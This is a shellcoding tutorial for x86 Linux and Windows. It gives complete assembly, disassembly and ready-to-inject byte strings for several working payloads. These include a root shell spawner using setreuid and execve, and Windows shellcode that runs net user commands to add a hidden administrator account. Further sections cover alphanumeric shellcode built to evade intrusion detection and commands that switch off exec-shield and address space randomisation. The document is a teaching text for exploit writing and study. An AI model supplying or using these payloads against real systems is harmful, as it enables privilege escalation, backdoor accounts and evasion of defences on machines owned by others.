Shellcoding for Linux and Windows Tutorial

with example windows and linux shellcode

by steve hanna
http://www.vividmachines.com/
steve./c/.hanna@gmail/.com
for premier computer security research check out: http://www.sigmil.org/

Table of Contents

Change Log

1. **Created** - *July 2004*
2. **Advanced Shellcoding Methods Section Added** - *Sept 2005*
3. **Updated Faq regarding stack randomization.** - *June 2007*

Frequently Asked Questions

1. **What is shellcoding?**

In computer security, shellcoding in its most literal sense, means writing code that will return a remote shell when executed. The meaning of shellcode has evolved, it now represents any byte code that will be inserted into an exploit to accomplish a desired task.

2. **There are tons of shellcode repositories all around the internet, why should I write my own?**

Yes, you are correct, there are tons of repositories all around the internet for shellcoding. Namely, the metasploit project seems to be the best. Writing an exploit can be difficult, what happens when all of the prewritten blocks of code cease to work? You need to write your own! Hopefully this tutorial will give you a good head start.

3. **What do I need to know before I begin?**

A decent understanding of x86 assembly, C, and knowledge of the Linux and Windows operating systems.

4. **What are the differences between windows shellcode and Linux shellcode?**

Linux, unlike windows, provides a direct way to interface with the kernel through the **int 0x80** interface. A complete listing of the Linux syscall table can be found here. Windows on the other hand, does not have a direct kernel interface. The system must be interfaced by loading the address of the function that needs to be executed from a DLL (Dynamic Link Library). The key difference between the two is the fact that the address of the functions found in windows will vary from OS version to OS version while the **int 0x80** syscall numbers will remain constant. Windows programmers did this so that they could make any change needed to the kernel without any hassle; Linux on the contrary has fixed numbering system for all kernel level functions, and if they were to change, there would be a million angry programmers (and a lot of broken code).

5. **So, what about windows? How do I find the addresses of my needed DLL functions? Don't these addresses change with every service pack upgrade?**

There are multitudes of ways to find the addresses of the functions that you need to use in your shellcode. There are two methods for addressing functions; you can find the desired function at runtime or use hard coded addresses. This tutorial will *mostly* discuss the hard coded method. The only DLL that is guaranteed to be mapped into the shellcode's address space is kernel32.dll. This DLL will hold LoadLibrary and GetProcAddress, the two functions needed to obtain any functions address that can be mapped into the exploits process space. There is a problem with this method though, the address offsets will change with every new release of Windows (service packs, patches etc.). So, if you use this method your shellcode will ONLY work for a specific version of Windows. Further dynamic addressing will be referenced at the end of the paper in the Further Reading section.

6. **What's the hype with making sure the shellcode won't have any NULL bytes in it? Normal programs have lots of NULL bytes!**

Well this isn't a normal program! The main problem arises in the fact that when the exploit is inserted it will be a string. As we all know, strings are terminated with a NULL byte (C style strings anyhow). If we have a NULL byte in our shellcode things won't work correctly.

7. **Why does my shellcode program crash when I run it?**

Well, in most shellcode the assembly contained within has some sort of self modifying qualities. Since we are working in protected mode operating systems the .code segment of the executable image is read only. That is why the shell program needs to copy itself to the stack before attempting execution.

8. **Can I contact you?**

Sure, just email shanna@uiuc.edu. Feel free to ask questions, comments, or correct something that is wrong in this tutorial.

9. **Why did you use intel syntax, UGHHH?!**

I don't know! I honestly prefer at&t syntax, but for some reason I felt compelled to do this in intel syntax. I am really sorry!

10. **Why does my program keep segfaulting? Yes, I read item 7 above, but it STILL crashes.**

You probably are using an operating system with randomized stack and address space and possibly a protection mechanism that prevents you from executing code on the stack. All Linux based operating systems are not the same, so I present a solution for Fedora that should adapt easily.

```
echo 0 > /proc/sys/kernel/exec-shield   #turn it off
echo 0 > /proc/sys/kernel/randomize_va_space #turn it off

echo 1 > /proc/sys/kernel/exec-shield   #turn it on
echo 1 > /proc/sys/kernel/randomize_va_space #turn it on
```

Background Information

- EAX, EBX, ECX, and EDX are all 32-bit General Purpose Registers on the x86 platform.
- AH, BH, CH and DH access the upper 16-bits of the GPRs.
- AL, BL, CL, and DL access the lower 8-bits of the GPRs.
- ESI and EDI are used when making Linux syscalls.
- Syscalls with 6 arguments or less are passed via the GPRs.
- XOR EAX, EAX is a great way to zero out a register (while staying away from the nefarious NULL byte!)
- In Windows, all function arguments are passed on the stack according to their calling convention.

Required Tools

- gcc
- ld

- nasm
- objdump

Optional Tools

- odfhex.c - a utility created by me to extract the shellcode from "objdump -d" and turn it into escaped hex code (very useful!).
- arwin.c - a utility created by me to find the absolute addresses of windows functions within a specified DLL.
- shellcodetest.c - this is just a copy of the c code found below. it is a small skeleton program to test shellcode.
- exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.asm - the source code found in this document (the win32 shellcode was written with Windows XP SP1).
-

Linux Shellcoding

When testing shellcode, it is nice to just plop it into a program and let it run. The C program below will be used to test all of our code.

```
/*shellcodetest.c*/

char code[] = "bytecode will go here!";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}
```

Example 1 - Making a Quick Exit

The easiest way to begin would be to demonstrate the exit syscall due to it's simplicity. Here is some simple asm code to call exit. Notice the al and XOR trick to ensure that no NULL bytes will get into our code.

```
;exit.asm
[SECTION .text]
global _start
_start:
        xor eax, eax       ;exit is syscall 1
        mov al, 1       ;exit is syscall 1
        xor ebx,ebx     ;zero out ebx
        int 0x80
```

Take the following steps to compile and extract the byte code.

```
steve hanna@1337b0x:~$ nasm -f elf exit.asm
steve hanna@1337b0x:~$ ld -o exiter exit.o
steve hanna@1337b0x:~$ objdump -d exiter

exiter:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       b0 01
 mov    $0x1,%al
 8048082:       31 db
 xor    %ebx,%ebx
 8048084:       cd 80
 int    $0x80
```

The bytes we need are **b0 01 31 db cd 80.**

Replace the code at the top with:
char code[] = "\xb0\x01\x31\xdb\xcd\x80";

Now, run the program. We have a successful piece of shellcode! One can strace the program to ensure that it is calling exit.

Example 2 - Saying Hello

For this next piece, let's ease our way into something useful. In this block of code one will find an example on how to load the address of a string in a piece of our code at runtime. This is important because while running shellcode in an unknown environment, the address of the string will be unknown because the program is not running in its normal address space.

```
;hello.asm
[SECTION .text]

global _start


_start:

        jmp short ender

        starter:

        xor eax,
eax    ;clean up the registers
        xor ebx, ebx
        xor edx, edx
        xor ecx, ecx

        mov al,
4       ;syscall write
        mov bl,
1       ;stdout is 1
        pop
ecx         ;get the address of
the string from the stack
        mov dl,
5       ;length of the string
        int 0x80

        xor eax, eax
        mov al,
1       ;exit the shellcode
        xor ebx,ebx
        int 0x80

        ender:
        call starter ;put the address
 of the string on the stack
        db 'hello'
```

```
steve hanna@1337b0x:~$ nasm -f elf hello.asm
steve hanna@1337b0x:~$ ld -o hello hello.o
steve hanna@1337b0x:~$ objdump -d hello

hello:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
```

```
 8048080:       eb 19
 jmp    804809b

08048082 <starter>:
 8048082:       31 c0
 xor    %eax,%eax
 8048084:       31 db
 xor    %ebx,%ebx
 8048086:       31 d2
 xor    %edx,%edx
 8048088:       31 c9
 xor    %ecx,%ecx
 804808a:       b0 04
 mov    $0x4,%al
 804808c:       b3 01
 mov    $0x1,%bl
 804808e:       59
 pop    %ecx
 804808f:       b2 05
 mov    $0x5,%dl
 8048091:       cd 80
 int    $0x80
 8048093:       31 c0
 xor    %eax,%eax
 8048095:       b0 01
 mov    $0x1,%al
 8048097:       31 db
 xor    %ebx,%ebx
 8048099:       cd 80
 int    $0x80

0804809b <ender>:
 804809b:       e8 e2 ff ff ff          call   8048082
 80480a0:       68 65 6c 6c 6f          push   $0x6f6c6c65
```

Replace the code at the top with:

```
char code[] =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
              "\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
```

At this point we have a fully functional piece of shellcode that outputs to stdout. Now that dynamic string addressing has been demonstrated as well as the ability to zero out registers, we can move on to a piece of code that gets us a shell.

Example 3 - Spawning a Shell

This code combines what we have been doing so far. This code attempts to set root privileges if they are dropped and then spawns a shell. Note: system("/bin/sh") would have been a lot simpler right? Well the only problem with that approach is the fact that system always drops privileges.

Remember when reading this code:

execve *(**const char** *filename, **const char**** *argv, **const char**** *envp);*

So, the second two argument expect pointers to pointers. That's why I load the address of the "/bin/sh" into the string memory and then pass the address of the string memory to the function. When the pointers are dereferenced the target memory will be the "/bin/sh" string.

```
;shellex.asm
[SECTION .text]

global _start
```

```
_start:
        xor eax, eax
        mov al,
70
 ;setreuid is syscall 70
        xor ebx, ebx
        xor ecx, ecx
        int 0x80

        jmp short ender

        starter:

        pop
ebx
 ;get the address of the string
        xor eax, eax

        mov [ebx+7 ],
al        ;put a NULL where the N is
in the string
        mov [ebx+8 ],
ebx       ;put the address of the string
to where the

 ;AAAA is
        mov [ebx+12],
eax       ;put 4 null bytes into where the
 BBBB is
        mov al,
11
 ;execve is syscall 11
        lea ecx,
[ebx+8]        ;load the address of
where the AAAA was
        lea edx,
[ebx+12]       ;load the address of the
NULLS
        int
0x80
 ;call the kernel, WE HAVE A SHELL!

        ender:
        call starter
        db '/bin/shNAAAABBBB'
```

```
steve hanna@1337b0x:~$ nasm -f elf shellex.asm
steve hanna@1337b0x:~$ ld -o shellex shellex.o
steve hanna@1337b0x:~$ objdump -d shellex

shellex:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31 c0
 xor    %eax,%eax
 8048082:       b0 46
 mov    $0x46,%al
 8048084:       31 db
 xor    %ebx,%ebx
 8048086:       31 c9
 xor    %ecx,%ecx
 8048088:       cd 80
 int    $0x80
 804808a:       eb 16
```

```
 jmp    80480a2

0804808c :
 804808c:       5b
 pop    %ebx
 804808d:       31 c0
 xor    %eax,%eax
 804808f:       88 43 07                mov    %al,0x7(%ebx)
 8048092:       89 5b 08                mov    %ebx,0x8(%ebx)
 8048095:       89 43 0c                mov    %eax,0xc(%ebx)
 8048098:       b0 0b
 mov    $0xb,%al
 804809a:       8d 4b 08                lea    0x8(%ebx),%ecx
 804809d:       8d 53 0c                lea    0xc(%ebx),%edx
 80480a0:       cd 80
 int    $0x80

080480a2 :
 80480a2:       e8 e5 ff ff ff          call   804808c
 80480a7:       2f
 das
 80480a8:       62 69 6e                bound  %ebp,0x6e(%ecx)
 80480ab:       2f
 das
 80480ac:       73 68
 jae    8048116
 80480ae:       58
 pop    %eax
 80480af:       41
 inc    %ecx
 80480b0:       41
 inc    %ecx
 80480b1:       41
 inc    %ecx
 80480b2:       41
 inc    %ecx
 80480b3:       42
 inc    %edx
 80480b4:       42
 inc    %edx
 80480b5:       42
 inc    %edx
 80480b6:       42
 inc    %edx
```

Replace the code at the top with:

```
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
       "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
       "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
       "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
       "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
```

This code produces a fully functional shell when injected into an exploit and demonstrates most of the skills needed to write successful shellcode. Be aware though, the better one is at assembly, the more functional, robust, and most of all evil, one's code will be.

Windows Shellcoding

Example 1 - Sleep is for the Weak!

In order to write successful code, we first need to decide what functions we wish to use for this shellcode and then find their absolute addresses. For this example we just want a thread to sleep for an allotted amount of time. Let's load up arwin (found above) and get started. Remember, the only module guaranteed to be mapped into the processes address space

is kernel32.dll. So for this example, Sleep seems to be the simplest function, accepting the amount of time the thread should suspend as its only argument.

```
G:\> arwin kernel32.dll Sleep
arwin - win32 address resolution program - by steve hanna - v.01
Sleep is located at 0x77e61bea in kernel32.dll
```

```
;sleep.asm
[SECTION .text]

global _start


_start:
        xor eax,eax
        mov ebx, 0x77e61bea ;address of Sleep
        mov ax, 5000        ;pause for 5000ms
        push eax
        call ebx        ;Sleep(ms);
```

```
steve hanna@1337b0x:~$ nasm -f elf sleep.asm; ld -o sleep sleep.o; objdump -d sleep
sleep:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31
c0
 xor    %eax,%eax
 8048082:       bb ea 1b e6
77
mov    $0x77e61bea,%ebx
 8048087:       66 b8 88
13
 mov    $0x1388,%ax
 804808b:
50
 push   %eax
 804808c:       ff
d3
 call   *%ebx
```

Replace the code at the top with:

```
char code[] = "\x31\xc0\xbb\xea\x1b\xe6\x77\x66\xb8\x88\x13\x50\xff\xd3";
```

When this code is inserted it will cause the parent thread to suspend for five seconds (note: it will then probably crash because the stack is smashed at this point :-D).

Example 2 - A Message to say "Hey"

This second example is useful in the fact that it will show a shellcoder how to do several things within the bounds of windows shellcoding. Although this example does nothing more than pop up a message box and say "hey", it demonstrates absolute addressing as well as the dynamic addressing using LoadLibrary and GetProcAddress. The library functions we will be using are LoadLibraryA, GetProcAddress, MessageBoxA, and ExitProcess (note: the A after the function name specifies we will be using a normal character set, as opposed to a W which would signify a wide character set; such as unicode). Let's load up arwin and find the addresses we need to use. We will not retrieve the address of MessageBoxA at this time, we will dynamically load that address.

```
G:\>arwin kernel32.dll LoadLibraryA
arwin - win32 address resolution program - by steve hanna - v.01
LoadLibraryA is located at 0x77e7d961 in kernel32.dll
```

```
G:\>arwin kernel32.dll GetProcAddress
arwin - win32 address resolution program - by steve hanna - v.01
GetProcAddress is located at 0x77e7b332 in kernel32.dll

G:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in kernel32.dll
```

```
;msgbox.asm
[SECTION .text]

global _start


_start:
 ;eax holds return value
 ;ebx will hold function addresses
 ;ecx will hold string pointers
 ;edx will hold NULL


 xor eax,eax
 xor ebx,ebx   ;zero out the registers
 xor ecx,ecx
 xor edx,edx

 jmp short GetLibrary
LibraryReturn:
 pop ecx    ;get the library string
 mov [ecx + 10], dl  ;insert NULL
 mov ebx, 0x77e7d961  ;LoadLibraryA(libraryname);
 push ecx   ;beginning of user32.dll
 call ebx   ;eax will hold the module handle

 jmp short FunctionName
FunctionReturn:

 pop ecx    ;get the address of the Function string
 xor edx,edx
 mov [ecx + 11],dl  ;insert NULL
 push ecx
 push eax
 mov ebx, 0x77e7b332  ;GetProcAddress(hmodule,functionname);
 call ebx   ;eax now holds the address of MessageBoxA

 jmp short Message
MessageReturn:
 pop ecx    ;get the message string
 xor edx,edx
 mov [ecx+3],dl   ;insert the NULL

 xor edx,edx

 push edx   ;MB_OK
 push ecx   ;title
 push ecx   ;message
 push edx   ;NULL window handle

 call eax   ;MessageBoxA(windowhandle,msg,title,type); Address

ender:
 xor edx,edx
 push eax
 mov eax, 0x77e798fd   ;exitprocess(exitcode);
 call eax   ;exit cleanly so we don't crash the parent program
```

```
 ;the N at the end of each string signifies the location of the NULL
 ;character that needs to be inserted

GetLibrary:
 call LibraryReturn
 db 'user32.dllN'
FunctionName
 call FunctionReturn
 db 'MessageBoxAN'
Message
 call MessageReturn
 db 'HeyN'
```

```
[steve hanna@1337b0x]$ nasm -f elf msgbox.asm; ld -o msgbox msgbox.o; objdump -d msgbox

msgbox:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31 c0
 xor    %eax,%eax
 8048082:       31 db
 xor    %ebx,%ebx
 8048084:       31 c9
 xor    %ecx,%ecx
 8048086:       31 d2
 xor    %edx,%edx

 8048088:       eb 37
 jmp    80480c1

0804808a :
 804808a:       59
 pop    %ecx
 804808b:       88 51 0a                mov    %dl,0xa(%ecx)
 804808e:       bb 61 d9 e7 77          mov    $0x77e7d961,%ebx
 8048093:       51
 push   %ecx
 8048094:       ff d3                   call   *%ebx
 8048096:       eb 39
 jmp    80480d1

08048098 :
 8048098:       59
 pop    %ecx
 8048099:       31 d2
 xor    %edx,%edx
 804809b:       88 51 0b                mov    %dl,0xb(%ecx)
 804809e:       51
 push   %ecx
 804809f:       50
 push   %eax
 80480a0:       bb 32 b3 e7 77          mov    $0x77e7b332,%ebx
 80480a5:       ff d3                   call   *%ebx
 80480a7:       eb 39
 jmp    80480e2

080480a9 :
 80480a9:       59
 pop    %ecx
 80480aa:       31 d2
 xor    %edx,%edx
 80480ac:       88 51 03                mov    %dl,0x3(%ecx)
```

```
 80480af:       31 d2
 xor    %edx,%edx
 80480b1:       52
 push   %edx
 80480b2:       51
 push   %ecx
 80480b3:       51
 push   %ecx
 80480b4:       52
 push   %edx
 80480b5:       ff d0
 call   *%eax

080480b7 :
 80480b7:       31 d2
 xor    %edx,%edx
 80480b9:       50
 push   %eax
 80480ba:       b8 fd 98 e7 77          mov    $0x77e798fd,%eax
 80480bf:       ff d0
 call   *%eax

080480c1 :
 80480c1:       e8 c4 ff ff ff          call   804808a
 80480c6:       75 73
 jne    804813b
 80480c8:       65
 gs
 80480c9:       72 33
 jb     80480fe
 80480cb:       32 2e
 xor    (%esi),%ch
 80480cd:       64
 fs
 80480ce:       6c
 insb   (%dx),%es:(%edi)
 80480cf:       6c
 insb   (%dx),%es:(%edi)
 80480d0:       4e
 dec    %esi

080480d1 :
 80480d1:       e8 c2 ff ff ff          call   8048098
 80480d6:       4d
 dec    %ebp
 80480d7:       65
 gs
 80480d8:       73 73
 jae    804814d
 80480da:       61
 popa
 80480db:       67
 addr16
 80480dc:       65
 gs
 80480dd:       42
 inc    %edx
 80480de:       6f
 outsl  %ds:(%esi),(%dx)
 80480df:       78 41
 js     8048122
 80480e1:       4e
 dec    %esi

080480e2 :
 80480e2:       e8 c2 ff ff ff          call   80480a9
 80480e7:       48                      dec    %eax
 80480e8:       65                      gs
 80480e9:       79 4e                   jns    8048139
```

Replace the code at the top with:

```
char code[] =   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
  "\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
  "\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
  "\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
  "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
  "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
  "\xff\x48\x65\x79\x4e";
```

This example, while not useful in the fact that it only pops up a message box, illustrates several important concepts when using windows shellcoding. Static addressing as used in most of the example above can be a powerful (and easy) way to whip up working shellcode within minutes. This example shows the process of ensuring that certain DLLs are loaded into a process space. Once the address of the MessageBoxA function is obtained ExitProcess is called to make sure that the program ends without crashing.

Example 3 - Adding an Administrative Account

This third example is actually quite a bit simpler than the previous shellcode, but this code allows the exploiter to add a user to the remote system and give that user administrative privileges. This code does not require the loading of extra libraries into the process space because the only functions we will be using are WinExec and ExitProcess. Note: the idea for this code was taken from the Metasploit project mentioned above. The difference between the shellcode is that this code is quite a bit smaller than its counterpart, and it can be made even smaller by removing the ExitProcess function!

```
G:\>arwin kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in kernel32.dll

G:\>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x77e6fd35 in kernel32.dll
```

```
;adduser.asm
[Section .text]

global _start

_start:

jmp short GetCommand

CommandReturn:
      pop
ebx
 ;ebx now holds the handle to the string
     xor eax,eax
     push eax
      xor
eax,eax         ;for some reason
 the registers can be very volatile, did this just in case
    mov [ebx + 89],al    ;insert the NULL
character
    push ebx
    mov ebx,0x77e6fd35
    call
ebx
;call WinExec(path,showcode)

     xor
eax,eax         ;zero the
register again, clears winexec retval
```

```
     push eax
     mov ebx, 0x77e798fd
   call
ebx
;call ExitProcess(0);


GetCommand:
     ;the N at the end of the db will be replaced with a
null character
     call CommandReturn
 db "cmd.exe /c net user USERNAME PASSWORD /ADD && net
localgroup Administrators /ADD USERNAMEN"
```

steve hanna@1337b0x:~$ **nasm -f elf adduser.asm; ld -o adduser adduser.o; objdump -d adduser**

```
adduser:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 1b
 jmp    804809d

08048082 :
 8048082:       5b
 pop    %ebx
 8048083:       31 c0
 xor    %eax,%eax
 8048085:       50
 push   %eax
 8048086:       31 c0
 xor    %eax,%eax
 8048088:       88 43 59                mov    %al,0x59(%ebx)
 804808b:       53
 push   %ebx
 804808c:       bb 35 fd e6 77          mov    $0x77e6fd35,%ebx
 8048091:       ff d3
 call   *%ebx
 8048093:       31 c0
 xor    %eax,%eax
 8048095:       50
 push   %eax
 8048096:       bb fd 98 e7 77          mov    $0x77e798fd,%ebx
 804809b:       ff d3
 call   *%ebx

0804809d :
 804809d:       e8 e0 ff ff ff          call   8048082
 80480a2:       63 6d 64                arpl   %bp,0x64(%ebp)
 80480a5:       2e
 cs
 80480a6:       65
 gs
 80480a7:       78 65
 js     804810e
 80480a9:       20 2f
 and    %ch,(%edi)
 80480ab:       63 20
 arpl   %sp,(%eax)
 80480ad:       6e
 outsb  %ds:(%esi),(%dx)
 80480ae:       65
 gs
 80480af:       74 20
 je     80480d1
 80480b1:       75 73
 jne    8048126
```

```
80480b3:       65
gs
80480b4:       72 20
jb     80480d6
80480b6:       55
push   %ebp
80480b7:       53
push   %ebx
80480b8:       45
inc    %ebp
80480b9:       52
push   %edx
80480ba:       4e
dec    %esi
80480bb:       41
inc    %ecx
80480bc:       4d
dec    %ebp
80480bd:       45
inc    %ebp
80480be:       20 50 41                and    %dl,0x41(%eax)
80480c1:       53
push   %ebx
80480c2:       53
push   %ebx
80480c3:       57
push   %edi
80480c4:       4f
dec    %edi
80480c5:       52
push   %edx
80480c6:       44
inc    %esp
80480c7:       20 2f
and    %ch,(%edi)
80480c9:       41
inc    %ecx
80480ca:       44
inc    %esp
80480cb:       44
inc    %esp
80480cc:       20 26
and    %ah,(%esi)
80480ce:       26 20 6e 65             and    %ch,%es:0x65(%esi)
80480d2:       74 20
je     80480f4
80480d4:       6c
insb   (%dx),%es:(%edi)
80480d5:       6f
outsl  %ds:(%esi),(%dx)
80480d6:       63 61 6c                arpl   %sp,0x6c(%ecx)
80480d9:       67 72 6f                addr16 jb 804814b
80480dc:       75 70
jne    804814e
80480de:       20 41 64                and    %al,0x64(%ecx)
80480e1:       6d
insl   (%dx),%es:(%edi)
80480e2:       69 6e 69 73 74 72 61    imul   $0x61727473,0x69(%esi),%ebp
80480e9:       74 6f
je     804815a
80480eb:       72 73
jb     8048160
80480ed:       20 2f
and    %ch,(%edi)
80480ef:       41
inc    %ecx
80480f0:       44
inc    %esp
80480f1:       44
```

```
inc    %esp
80480f2:       20 55 53                and    %dl,0x53(%ebp)
80480f5:       45
inc    %ebp
80480f6:       52
push   %edx
80480f7:       4e
dec    %esi
80480f8:       41
inc    %ecx
80480f9:       4d
dec    %ebp
80480fa:       45
inc    %ebp
80480fb:       4e
dec    %esi
```

Replace the code at the top with:

```
char code[] =  "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\
 "\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\
 "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\
 "\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\
 "\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\
 "\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\
 "\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\
 "\x4e\x41\x4d\x45\x4e";
```

When this code is executed it will add a user to the system with the specified password, then adds that user to the local Administrators group. After that code is done executing, the parent process is exited by calling ExitProcess.

Advanced Shellcoding

This section covers some more advanced topics in shellcoding. Over time I hope to add quite a bit more content here but for the time being I am very busy. If you have any specific requests for topics in this section, please do not hesitate to email me.

Printable Shellcode

The basis for this section is the fact that many Intrustion Detection Systems detect shellcode because of the non-printable characters that are common to all binary data. The IDS observes that a packet containts some binary data (with for instance a NOP sled within this binary data) and as a result may drop the packet. In addition to this, many programs filter input unless it is alpha-numeric. The motivation behind printable alpha-numeric shellcode should be quite obvious. By increasing the size of our shellcode we can implement a method in which our entire shellcode block in in printable characters. This section will differ a bit from the others presented in this paper. This section will simply demonstrate the tactic with small examples without an all encompassing final example.

Our first discussion starts with obfuscating the ever blatant NOP sled. When an IDS sees an arbitrarily long string of NOPs (0x90) it will most likely drop the packet. To get around this we observe the decrement and increment op codes:

OP Code	***Hex***	***ASCII***
inc eax	0x40	@
inc ebx	0x43	C
inc ecx	0x41	A
inc edx	0x42	B
dec eax	0x48	H
dec ebx	0x4B	K
dec ecx	0x49	I
dec edx	0x4A	J

It should be pretty obvious that if we insert these operations instead of a NOP sled then the code will not affect the output. This is due to the fact that whenever we use a register in our shellcode we wither move a value into it or we xor it. Incrementing or decrementing the register before our code executes will not change the desired operation.

So, the next portion of this printable shellcode section will discuss a method for making one's entire block of shellcode alpha-numeric-- by means of some major tomfoolery. We must first discuss the few opcodes that fall in the printable ascii range (0x33 through 0x7e).

```
sub eax, 0xHEXINRANGE
push eax
pop eax
push esp
pop esp
and eax, 0xHEXINRANGE
```

Surprisingly, we can actually do whatever we want with these instructions. I did my best to keep diagrams out of this talk, but I decided to grace the world with my wonderful ASCII art. Below you can find a diagram of the basic plan for constructing the shellcode.

```
The plan works as follows:
 -make space on stack for shellcode and loader
 -execute loader code to construct shellcode
 -use a NOP bridge to ensure that there aren't any extraneous bytes that will crash our code.
 -profit
```

But now I hear you clamoring that we can't use move nor can we subtract from esp because they don't fall into printable characters!!! Settle down, have I got a solution for you! We will use subtract to place values into EAX, push the value to the stack, then pop it into ESP.

Now you're wondering why I said subtract to put values into EAX, the problem is we can't use add, and we can't directly assign nonprintable bytes. How can we overcome this? We can use the fact that each register has only 32 bits, so if we force a wrap around, we can arbitrarily assign values to a register using only printable characters with two to three subtract instructions.

If the gears in your head aren't cranking yet, you should probably stop reading right now.

```
The log awaited ASCII diagram
1)
EIP(loader code) --------ALLOCATED STACK SPACE--------ESP

2)
---(loader code)---EIP-------STACK------ESP--(shellcode--

3)
----loadercode---EIP@ESP----shellcode that was builts---
```

So, that diagram probably warrants some explanation. Basically, we take our already written shellcode, and generate two to three subtract instructions per four bytes and do the push EAX, pop ESP trick. This basically places the constructed shellcode at the end of the stack and works towards the EIP. So we construct 4 bytes at a time for the entirety of the code and then insert a small NOP bridge (indicated by @) between the builder code and the shellcode. The NOP bridge is used to word align the end of the builder code.

Example code:

```
and eax, 0x454e4f4a ;  example of how to zero out eax(unrelated)
and eax, 0x3a313035


push esp
pop eax
sub eax, 0x39393333 ; construct 860 bytes of room on the stack
sub eax, 0x72727550
sub eax, 0x54545421
```

```
push eax  ; save into esp
pop esp
```

Oh, and I forgot to mention, the code must be inserted in reverse order and the bytes must adhere to the little endian standard. That job sounds incredibly tedious, thank god that matrix wrote a tool that does it for us! The point is that now you can use this utility only once you understand the concepts presented above. Remember, if you don't understand it, you're just another script kiddie.

Further Reading

Below is a list of great resources that relate to shellcoding. I suggest picking up a copy of all of the documents listed, but if that is an impossibility, at the very least get The Shellcoder's Handbook; it is a pure goldmine of information.

- The Shellcoder's Handbook by Jack Koziol et al
- Hacking - The Art of Exploitation by Jon Erickson
- "Understanding Windows Shellcode" by nologin.org

Conclusion

At this point the reader should be able to write at the very least basic shellcode to exploit applications on either the windows or linux platforms. The tricks demonstrated here will help a shellcoder understand other's shellcode and modify prewritten shellcode to fit the situation at hand. Shellcoding is always looked at as a minor detail of hacking a piece of software but invariably, a hack is only as strong enough as its weakest link. If the shellcode doesn't work, then the attempt at breaking the software fails; that is why it is important to understand all aspect of the process. Otherwise, good luck and have fun shellcoding!